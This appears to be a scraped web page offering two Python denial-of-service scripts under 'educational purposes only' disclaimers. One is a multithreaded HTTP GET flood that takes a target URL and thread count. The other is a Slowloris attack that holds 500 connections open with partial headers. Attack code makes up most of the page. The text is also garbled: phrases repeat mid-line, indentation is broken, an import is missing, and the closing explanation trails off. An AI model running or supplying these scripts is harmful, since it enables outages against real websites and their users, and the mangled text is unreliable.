Ddos Attack Python Script May 2026

Here's a very basic educational script that demonstrates a simple HTTP flooding attack. Please do not use this script for any malicious activities. This script is for educational purposes only.

import requests
import time
import threading
def flood(url):
    try:
        while True:
            requests.get(url)
    except Exception as e:
        print(f"An error occurred: e")
def main():
    url = input("Enter the URL you want to flood (e.g., http://example.com): ")
    num_threads = int(input("Enter the number of threads: "))
threads = []
    for _ in range(num_threads):
        t = threading.Thread(target=flood, args=(url,))
        t.daemon = True  # Allows the program to exit even if threads are still running
        threads.append(t)
        t.start()
try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        print("\nStopping flood")
if __name__ == "__main__":
    main()

Slowloris is a sophisticated Python-based attack that opens many connections to a target web server but sends partial HTTP headers, keeping those connections open indefinitely. ddos attack python script

# EDUCATIONAL EXAMPLE - Targets servers with thread-based concurrency
import socket
import threading
target = "example.com"
port = 80
def slowloris():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, port))
sock.send(b"GET / HTTP/1.1\r\n")
sock.send(b"Host: example.com\r\n")
sock.send(b"User-Agent: Mozilla/5.0\r\n")
sock.send(b"Accept-language: en-US\r\n")
# Never send the final \r\n\r\n - keep the connection hanging
while True:
sock.send(b"X-Custom-Header: keepalive\r\n")
time.sleep(10) Here's a very basic educational script that demonstrates
for _ in range(500):
threading.Thread(target=slowloris).start()

This attack targets Apache and older web servers that allocate a thread per connection.

Before diving into Python code, we must clarify the "Distributed" part of DDoS. A standard DoS (Denial-of-Service) attack uses a single machine. A DDoS attack leverages hundreds or thousands of compromised devices—a botnet—to amplify the assault. Again, this script is for educational purposes
